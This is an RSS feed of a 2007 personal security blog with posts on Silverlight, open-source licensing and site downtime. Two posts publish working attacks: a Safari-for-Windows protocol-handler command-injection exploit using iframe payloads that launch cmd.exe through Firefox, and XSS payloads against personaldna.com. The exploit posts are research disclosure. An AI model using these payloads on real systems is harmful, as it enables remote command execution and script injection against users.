<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Larholm.com &#187; General</title>
	<atom:link href="http://larholm.com/category/general/feed/" rel="self" type="application/rss+xml" />
	<link>http://larholm.com</link>
	<description>Me, myself and I</description>
	<pubDate>Thu, 11 Sep 2008 14:10:19 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>Silverlight 1.0 Release Candidate</title>
		<link>http://larholm.com/2007/08/31/silverlight-10-release-candidate/</link>
		<comments>http://larholm.com/2007/08/31/silverlight-10-release-candidate/#comments</comments>
		<pubDate>Fri, 31 Aug 2007 16:40:19 +0000</pubDate>
		<dc:creator>Thor Larholm</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://larholm.com/2007/08/31/silverlight-10-release-candidate/</guid>
		<description><![CDATA[Yesterday I was at a Silverlight conference in Copenhagen which was actually quite interesting. For those of you who might not know what Silverlight is, it is a Flash competitor developed by Microsoft based on Windows Presentation Foundation and XAML. If you are not interested in Silverlight development in general then jump straight to the [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I was at a Silverlight conference in Copenhagen which was actually quite interesting. For those of you who might not know what <a href="http://en.wikipedia.org/wiki/Microsoft_Silverlight" target="_blank">Silverlight is</a>, it is a Flash competitor developed by Microsoft based on Windows Presentation Foundation and XAML. If you are not interested in Silverlight development in general then jump straight to the end of this article for the vulnerability <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://blogs.msdn.com/jepper/" target="_blank">Jeppe Rørbæk</a> from Microsoft Denmark gave the first presentation which mainly focused on the basics of embedding Silverlight 1.0 and creating XAML files. I have been experimenting with Silverlight since the first CTP release back in December 2006, so most parts of this presentation was a bit repetitive for me. The main consensus that I could get from the other attendees was that Microsoft should focus on shipping a default Aspx Extender for embedding Silverlight applications, as I seemed to be the only one comfortable enough with Javascript to really bother getting my hands dirty. The lack of input controls in the 1.0 release was also a bit discomforting to some, although regular HTML input boxes can be used in its place.</p>
<p>Next up was <a href="http://www.eiler.dk/" target="_blank">Martin Eiler</a> from <a href="http://www.valtech.dk/" target="_blank">Valtech</a> who focused on XAML development through <a href="http://en.wikipedia.org/wiki/Microsoft_Expression_Blend" target="_blank">Blend Expression</a>. Martin showcased a video player application that he was currently developing, and I couldn&#8217;t help noticing the similarities between it and <a href="http://www.joost.com/" target="_blank">Joost</a>, particularly when it came to the messaging aspects. Joost is written in Mozilla&#8217;s <a href="http://www.mozilla.org/projects/xul/" target="_blank">XUL</a> and from the walkthrough of some of his code it was quite clear that Silverlight development is a lot more straightforward than dealing with the typical <a href="http://www.mozilla.org/rdf/doc/" target="_blank">RDF hell</a> in XUL development.</p>
<p>Martins presentation also gave me the most ideas for what areas I should focus on when finding vulnerabilities in Silverlight. Font embedding in Silverlight is vastly simpler than in Flash and it is accomplished through automatically downloading a ZIP file containing a <a href="http://en.wikipedia.org/wiki/TrueType" target="_blank">Truetype</a> font which is then parsed and rendered on your XAML text. I could imagine that fuzzing the Truetype renderer might uncover some interesting parsing vulnerabilities. Failing that, there is some interesting potential for directory traversal vulnerabilities through the Downloader object in Silverlight, which will automatically decompress ZIP archives and store its content on your local hard drive. Since the plugin itself is not written in managed code and is responsible for parsing and rendering not just Truetype fonts but also PNG, BMP, TIFF and WMF images I will also have a go at it with some image fuzzing and see what stands out.</p>
<p>Next up was <a href="http://hartvig.com/" target="_blank">Niels Hartvig</a>, founder of the open source <a href="http://umbraco.org/" target="_blank">Umbraco CMS</a>. The first part of his presentation focused on a Powerpoint replacement that Niels had developed in Silverlight, which was a great success with the audience. This transitioned into an example of how Umbraco, or any other CMS, could be extended to serve dynamic XAML documents (Silverlight applications). The audience was mainly comprised of ASP.NET and back end developers, so the presentation was a natural fit and most likely inspired a couple of developers on how they could more easily use Silverlight as a presentation layer. Unfortunately his Powerpoint replacement was written for Silverlight 1.0, so all of the XAML generation and event handling relied heavily on Javascript. I would love to see a 1.1 release with all of the interaction dynamics staying in C#. Just as with the regular DOM the Silverlight Object Model will only allow you to retrieve data from the domain where it was served, but seeing as the Silverlight team has probably had to implement this logic themselves instead of borrowing from IE there could be some interesting potential for terminating string references (think %00).</p>
<p>Jeppe Rørbæk finished off the conference with a look at some of the new features in Silverlight 1.1, particularly the CLR and DLR implementations which will be a part of the plugin bundle. Most of the audience seemed thrilled enough with the new vector and video capabilities of Silverlight 1.0, but having the promise of a C# CLR embedded in the browser dangling in front of them left most with the impression that they should neglect the 1.0 release until they could do some &#8220;real&#8221; work in 1.1.</p>
<p>There will still be a lot of  Javascript interfacing in 1.1, which is only natural when you are interfacing with the DOM of your HTML document. From what I could see in Jeppe&#8217;s code it seems apparent that exposing events to Javascript from the managed C# code is implemented by assigning a JS function reference on an exposed property. This will let you call unmanaged code from C# and since I can control the entirety of that pointer reference I can imagine that this will also be a candidate for vulnerabilities.</p>
<p>And speaking about vulnerabilities, I thought I would detail a vulnerability that was silently patched in the Release Candidate of Silverlight <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<blockquote><p>The beta release of Silverlight 1.0 had a heap overflow on the <a href="http://msdn2.microsoft.com/en-us/library/bb412364.aspx" target="_blank">findName</a> method which occurs after handing it a string larger than 260086 bytes.</p></blockquote>
<p>Realistically speaking, this has not been a threat to a lot of people. Unlike the <a href="http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/">Safari 3.0</a> release for Windows, which received millions of end user installations after being featured prominently on the frontpage of apple.com, the beta release of Silverlight has gone largely unnoticed outside of developer circles.</p>
<p>What is more interesting than the vulnerability itself, at least to me, is that it highlights how Microsoft has not implemented static source code analysis as part of either their commit cycles or beta release builds. This seems to be reserved for  release candidates and greater.</p>
<p>To sum it all up, I think that Silverlight is an interesting technology and a worthy Flash competitor. Adobe has suddenly seen some actual competition arise, which has pushed them to update their Flash player with  <a href="http://slashdot.org/articles/07/08/21/1235201.shtml" target="_blank">h.264 video and AAC audio playback</a>. Whether or not Youtube decides to stay with Flash or go with HD quality WMV this can only be good news, as we can hopefully abandon those awfully looking FLV files.</p>
<p>And whether or not any of that happens I have found an interesting new product to uncover some vulnerabilities in, so remember to subscribe to the <a href="http://larholm.com/feed/">feed</a> <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://larholm.com/2007/08/31/silverlight-10-release-candidate/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Who made OSI king of the world?</title>
		<link>http://larholm.com/2007/06/21/who-made-osi-king-of-the-world/</link>
		<comments>http://larholm.com/2007/06/21/who-made-osi-king-of-the-world/#comments</comments>
		<pubDate>Thu, 21 Jun 2007 16:12:30 +0000</pubDate>
		<dc:creator>Thor Larholm</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://larholm.com/2007/06/21/who-made-osi-king-of-the-world/</guid>
		<description><![CDATA[This is not strictly security related, but I just had to write a few words about that OSI article. Rest assured that you will get some security news very soon, I found half a dozen new vulnerabilities in Safari for both Windows and OS X  
Over at opensource.net Michael Tiemann, the president of the [...]]]></description>
			<content:encoded><![CDATA[<p>This is not strictly security related, but I just had to write a few words about <a href="http://www.opensource.org/node/163">that OSI article</a>. Rest assured that you will get some security news very soon, I found half a dozen new vulnerabilities in Safari for both Windows and OS X <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Over at opensource.net Michael Tiemann, the president of the Open Source Initiative, has <a href="http://www.opensource.org/node/163">written an article</a> about the apparent misuse of the term open source. He has declared that they (OSI) want to slam down on any vendor who claims to be open source but does not use &#8220;an OSI-approved license&#8221;. In his own words:</p>
<blockquote><p> &#8220;Enough is enough. Open Source has grown up. Now it is time for us to stand up. I believe that when we do, the vendors who ignore our norms will suddenly recognize that they really do need to make a choice: to label their software correctly and honestly, or to license it with an OSI-approved license that matches their open source label.&#8221;</p></blockquote>
<p>I generally applaud the Open Source Initiative for their dedication in promoting open source software, but the entire premise of this article does not ring true for me. This is my public comment to Michael Tiemann, originally posted as a comment to his article.</p>
<p><span id="more-18"></span></p>
<h3><strong>Who made you king?</strong></h3>
<p>OSI does not have a trademark on the phrase Open Source, whether it is spelled with capital or small letters. As such, there is no legal basis for you to dictate how that phrase should be interpreted, applied and/or marketed. You have no basis for defining or approving what constitutes an open source license, except through your name, public support and dedication.</p>
<p>The term &#8220;open source&#8221; is in itself simply used to describe software where the source code is available to the public and/or end user. That&#8217;s a very popular interpretation and carries no other notions about the license model under which the software has been released or how that source code might eventually be used.</p>
<p>I will continue to release software and continue to label it as being open source, because that is precisely what it is. The source code is available for you to read. On top of that, my license might specify that you can only use my software if you telephone me and tell me a joke. My software would still be open source, even with such an absurd license.</p>
<p>However, my software would not be Free Software, and Richard Stallman or the <a href="http://www.fsf.org/">Free Software Foundation</a> would surely shake their heads in disbelief at my license; But if you contacted me and demanded that I remove the words &#8220;open source&#8221; from my marketing material I would have a dazed and confused look on my face before my shoulders would shrug and I would go for a pint.</p>
<p>I applaud your work and dedication, but they do not give you any basis on which to be the king of how generic words should be interpreted.</p>
<p>Cheers<br />
Thor Larholm</p>
]]></content:encoded>
			<wfw:commentRss>http://larholm.com/2007/06/21/who-made-osi-king-of-the-world/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Site overload, back in business</title>
		<link>http://larholm.com/2007/06/12/site-overload-back-in-business/</link>
		<comments>http://larholm.com/2007/06/12/site-overload-back-in-business/#comments</comments>
		<pubDate>Tue, 12 Jun 2007 19:33:11 +0000</pubDate>
		<dc:creator>Thor Larholm</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://test.larholm.com/?p=15</guid>
		<description><![CDATA[I went to the beach today at around 16:00 (4 PM) after having moderated all of your comments on my previous post &#8220;Safari for Windows, 0day exploit in 2 hours&#8220;. When I got back just now at 21:00 (9 PM) this site was no longer serving any content and a lot of people had mailed [...]]]></description>
			<content:encoded><![CDATA[<p>I went to the beach today at around 16:00 (4 PM) after having moderated all of your comments on my previous post &#8220;<a href="http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/">Safari for Windows, 0day exploit in 2 hours</a>&#8220;. When I got back just now at 21:00 (9 PM) this site was no longer serving any content and a lot of people had mailed me to complain.</p>
<p>I am running WordPress and it was not all too happy about the abundance of visitors that came by my site today. In the last 12 hours more than 30.000 unique visitors generated more than 180.000 hits, which is quite a jump from my normal rate of 500 unique visitors per day. I guess you people like to read about security research, especially <a href="http://apple.slashdot.org/apple/07/06/12/0120230.shtml">Slashdot</a>, <a href="http://www.techmeme.com/">TechMeme</a> and <a href="http://programming.reddit.com/goto?id=1xryb">Reddit</a> <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Luckily I had the support of a great technical team, namely Tyron from <a href="http://secure.hostgator.com/cgi-bin/affiliates/clickthru.cgi?id=larholm">HostGator.com</a> where my site is hosted. After a brief live chat the site was back up and running just fine. I&#8217;m amazed at the level of support I have received so far from HostGator and am only happy to recommend them through the previous link (yes, it&#8217;s an affiliate signup).</p>
<p>So what happens next? First of all, I have read through all of your feedback about the PoC exploit and will do some tests on OS X tomorrow that will result in a positive or negative verification about whether the vulnerability can be adjusted to work on OS X as well.</p>
<p>Following that, I will continue to write about my security research and publish any new findings here - so remember to subscribe to <a href="http://larholm.com/feed/">my feed</a> <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://larholm.com/2007/06/12/site-overload-back-in-business/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Safari for Windows, 0day exploit in 2 hours</title>
		<link>http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/</link>
		<comments>http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/#comments</comments>
		<pubDate>Tue, 12 Jun 2007 01:39:13 +0000</pubDate>
		<dc:creator>Thor Larholm</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://test.larholm.com/?p=14</guid>
		<description><![CDATA[Apple released version 3 of their popular Safari web browser today, with the added twist of offering both an OS X and a Windows version. Given that Apple has had a lousy track record with security on OS X, in addition to a hostile attitude towards security researchers, a lot of people are expecting to [...]]]></description>
			<content:encoded><![CDATA[<p>Apple released version 3 of their popular <a href="http://www.apple.com/safari">Safari</a> web browser today, with the added twist of offering both an OS X and a Windows version. Given that Apple has had a lousy track record with security on OS X, in addition to a hostile attitude towards security researchers, a lot of people are expecting to see quite a number of vulnerabilities targeted towards this new Windows browser.</p>
<p>I downloaded and installed Safari for Windows 2 hours ago, when I started writing this, and I now have a fully functional command execution vulnerability, triggered without user interaction simply by visiting a web site. I will not sell this one to ZDI or iDefense but instead release it here, as I have done lately with a number of 0day vulnerabilities. This place is where you get my latest research <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>A bunch of other security researchers such as David Maynor and Aviv Raff have been <a href="http://blogs.zdnet.com/security/?p=283">pounding</a> safariWin with their fuzzing tools, going through thousands upon thousands of test pages in the hopes of triggering some form of memory corruption for potential exploitation. I am a big fan of fuzzing and believe it can produce some tremendous results, but sometimes good old fashioned application specific knowledge can get you far.</p>
<p>The logic behind this vulnerability is quite simple and the vulnerability class has been known and understood for years, namely that of protocol handler command injection. A browser typically consists of a multitude of different URL schemes, some of which are handled by internal functions and others that are handed off to external applications. On the OS X platform Apple has enjoyed the same luxury and the same curse as Internet Explorer has had on the Windows platform, namely intimate operating system knowledge. The integration with the originally intended operating system is tightly defined, but the breadth of knowledge is crippled when the software is released on other systems and mistakes and mishaps occur. You can still find references to the OS X proprietary URL protocols <code>open-help-anchor:</code> and <code>network-diagnostics:</code> inside the resource files for the Windows release.</p>
<p>URL protocol handlers on the Windows platform work by executing a process with specific command line arguments. When Apple released Safari for the Windows platform they neglected to implement a proper level of input validation for these arguments, which means that you can break out of the intended confines and wreak havoc. A typical request for a URL such as <code>myprotocol://someserver.com/someargument</code> would be turned into a command line resembling the following.</p>
<blockquote><p>
&#8220;C:\Program Files\My Application\myprotocol.exe&#8221; &#8220;someserver.com/someargument&#8221;
</p></blockquote>
<p>This works almost as expected in Safari. With a simple link you cannot pass along arbitrary characters to the command line which is later executed and most attempts at doing so will simply be URL escape, such that <code>myprotocol://someserver.com/some"[SPACE]argument</code> is turned into</p>
<blockquote><p>
&#8220;C:\Program Files\My Application\myprotocol.exe&#8221; &#8220;someserver.com/some&#8221;%20argument
</p></blockquote>
<p>This cannot be used to exploit Safari as the command line to be executed is simply invalid. However, Safari does not properly validate the input when these same requests are handled through IFRAME elements, such as</p>
<blockquote><p>
&lt;iframe src=&#8217;myprotocol://someserver.com&#8221; &lt; foo &gt; bar | foobar &#8220;arg1&#8242;&gt;&lt;/iframe&gt;
</p></blockquote>
<p>which is turned into the following command line.</p>
<blockquote><p>
&#8220;C:\Program Files\My Application\myprotocol.exe&#8221; &#8220;someserver.com&#8221; &lt; foo &gt; bar | foobar &#8220;arg1&#8243;
</p></blockquote>
<p>As the knowledgeable reader might have noticed we now have everything we need to implement an attack against the entire range of available URL protocol handlers on the Windows platform. We could pick the telnet or callto protocols and provide unfiltered input to an argument of our choice. For this demonstration I have opted to attempt an exploit against the <code>gopher:</code> URL protocol which is handled by my local Firefox installation. We hash together an example request..</p>
<blockquote><p>
&lt;iframe src=&#8217;gopher://larholm.com&#8221; |cmd /c echo &#8220;FOO&#8217;&gt;&lt;/iframe&gt;
</p></blockquote>
<p>..Fire up procexp, launch safari and watch the output.</p>
<blockquote><p>
&#8220;C:\PROGRA~1\MOZILL~3\FIREFOX.EXE&#8221; -url &#8220;gopher://larholm.com&#8221; |cmd /c echo &#8220;FOO&#8221; -requestPending
</p></blockquote>
<p>Now this might be fun enough, but what if we wanted something a bit more customizable? Firefox is built on top of the Mozilla XPCOM platform and we might as well use some of these capable interfaces at our disposal to handle process instantiation. The code we want to execute is the following.</p>
<blockquote><p>
C=Components.classes;I=Components.interfaces;<br />
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);<br />
file.initWithPath(&#8217;C:\\windows\\system32\\cmd.exe&#8217;);<br />
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);<br />
process.init(file);<br />
process.run(true,{},0);<br />
alert(process);
</p></blockquote>
<p>Due to the levels of URL escaping the following might be a bit confusing to read, but feel free to dissect it for your own variations.</p>
<blockquote><p><code><br />
&lt;iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;<br />
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);<br />
file.initWithPath(&#8217;C:&#8217;+String.fromCharCode(92)<br />
+String.fromCharCode(92)+&#8217;Windows&#8217;<br />
+String.fromCharCode(92)+String.fromCharCode(92)+&#8217;System32&#8242;<br />
+String.fromCharCode(92)+String.fromCharCode(92)+&#8217;cmd.exe&#8217;);<br />
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);<br />
process.init(file);<br />
process.run(true,{},0);alert(process)&#8217;&gt;&lt;/iframe&lt;<br />
</code></p></blockquote>
<p>And there you have it, command execution. A fully functional PoC exploit is located below. <strong>Warning:</strong> This WILL crash your Safari browser on Windows. Close any existing Firefox processes that you might currently be running, then navigate Safari to the following page.</p>
<pre>
<a href="http://www.larholm.com/vuln/safaripoc.html">http://www.larholm.com/vuln/safaripoc.html</a>
</pre>
<p>The above PoC exploit will exploit Safari by bouncing through Firefox via the Gopher protocol, passing on unfiltered input for the -chrome argument that Firefox exposes. When it has done this it will launch <code>C:\Windows\System32\cmd.exe</code> with any arguments that have been specified in the call to the <code>process.run</code> method.</p>
<p>It is important to know that, even though this PoC exploit uses Firefox, the actual vulnerability is within the lack of input validation for the command line arguments handed to the various URL protocol handlers on your machine. As such, there are a lot of different attack vectors for this vulnerability, I simply chose Firefox and the Gopher URL protocol because I was familiar with these.</p>
<p>I hope you enjoyed the fruits of my 2 hours of labour. Please feel free to add <a href="http://larholm.com/feed/">my RSS feed</a> to your reader and come back again tomorrow or next week for a fresh batch of 0day vulnerabilities <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Cheers<br />
Thor Larholm</p>
<p>UPDATE<br />
The site was <a href="http://larholm.com/2007/06/12/site-overload-back-in-business/">down</a> for a couple of hours due to Slashdot, TechMeme and Reddit.</p>
]]></content:encoded>
			<wfw:commentRss>http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Thor, the Benevolent Leader</title>
		<link>http://larholm.com/2007/04/08/thor-the-benevolent-leader/</link>
		<comments>http://larholm.com/2007/04/08/thor-the-benevolent-leader/#comments</comments>
		<pubDate>Sun, 08 Apr 2007 17:17:34 +0000</pubDate>
		<dc:creator>Thor Larholm</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://test.larholm.com/?p=9</guid>
		<description><![CDATA[I am always amused when I take a personality test. I find it easy to discern the reasoning behind the questions and more often than not I disagree with the wording of specific questions. Just today, I found an interesting test with some funky sliders and graphs at personaldna.com, and the results are in:


And there [...]]]></description>
			<content:encoded><![CDATA[<p>I am always amused when I take a personality test. I find it easy to discern the reasoning behind the questions and more often than not I disagree with the wording of specific questions. Just today, I found an interesting test with some funky sliders and graphs at <a href="http://www.personaldna.com/tests.php">personaldna.com</a>, and the results are in:</p>
<p><script src="http://personaldna.com/h/?k=ajbecRqMlZIdRcZ-OO-AAAAA-b077&#038;t=Benevolent+Leader">
</script></p>
<p>And there you have it, I am a very manly and functional Benevolent Leader with low Authoritarianism. You can hover those individual color bars for an explanation of each.</p>
<p>Coincidentally, I am not a big fan of having Benevolent Leader turned into a link that points at personaldna.com as I have already been kind enough to link their way. So how do we remove this link but retain the hover functionality? If you&#8217;re curious the script code for embedding the above color bar is:</p>
<blockquote><p>
&lt;script src=&#8221;http://personaldna.com/h/?k=ajbecRqMlZIdRcZ-OO-AAAAA-b077&#038;t=Benevolent+Leader&#8221;&gt;<br />
&lt;/script&gt;
</p></blockquote>
<p>There is a lack of input validation of the t parameter which enables a XSS vulnerability on personaldna.com. If you specify <code>t=Benevolent+Leader',true);alert(location)//</code> you are overwriting their script logic. If you specify <code>t=&lt;/a&gt;Benevolent+Leader</code> you are injecting HTML. A properly URL encoded parameter would be <code>t=%3C/a%3EBenevolent+Leader"</code>.</p>
<p><script src="http://personaldna.com/h/?k=ajbecRqMlZIdRcZ-OO-AAAAA-b077&#038;t=%3C/a%3EBenevolent+Leader">
</script></p>
<p>So there you have it, the same colored bar but without a link on the text portion <img src='http://larholm.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://larholm.com/2007/04/08/thor-the-benevolent-leader/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cheers and musing</title>
		<link>http://larholm.com/2007/04/05/hello-world-2/</link>
		<comments>http://larholm.com/2007/04/05/hello-world-2/#comments</comments>
		<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
		<dc:creator>Thor Larholm</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://test.larholm.com/?p=4</guid>
		<description><![CDATA[ Another visitor!
You might know me, you might not. In either case, welcome. I used to have my web presence on jscript.dk, but alas some domain shark grabbed it when I forgot to renew the domain.
So what will I amuse you with to stay a while? Mostly random musings over security vulnerabilities, javascript development, the [...]]]></description>
			<content:encoded><![CDATA[<p> Another visitor!</p>
<p>You might know me, you might not. In either case, welcome. I used to have my web presence on jscript.dk, but alas some domain shark grabbed it when I forgot to renew the domain.</p>
<p>So what will I amuse you with to stay a while? Mostly random musings over security vulnerabilities, javascript development, the web and myself. In the mean time I will be making a less bloggy template for WordPress and enjoy my Easter vacation.</p>
<p><a href="http://larholm.com/media/visitor.au"><img src="http://larholm.com/wp-content/uploads/2007/06/improbot.gif" alt="improbot.gif" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://larholm.com/2007/04/05/hello-world-2/feed/</wfw:commentRss>
<enclosure url="http://larholm.com/media/visitor.au" length="49987" type="audio/basic" />
		</item>
	</channel>
</rss>
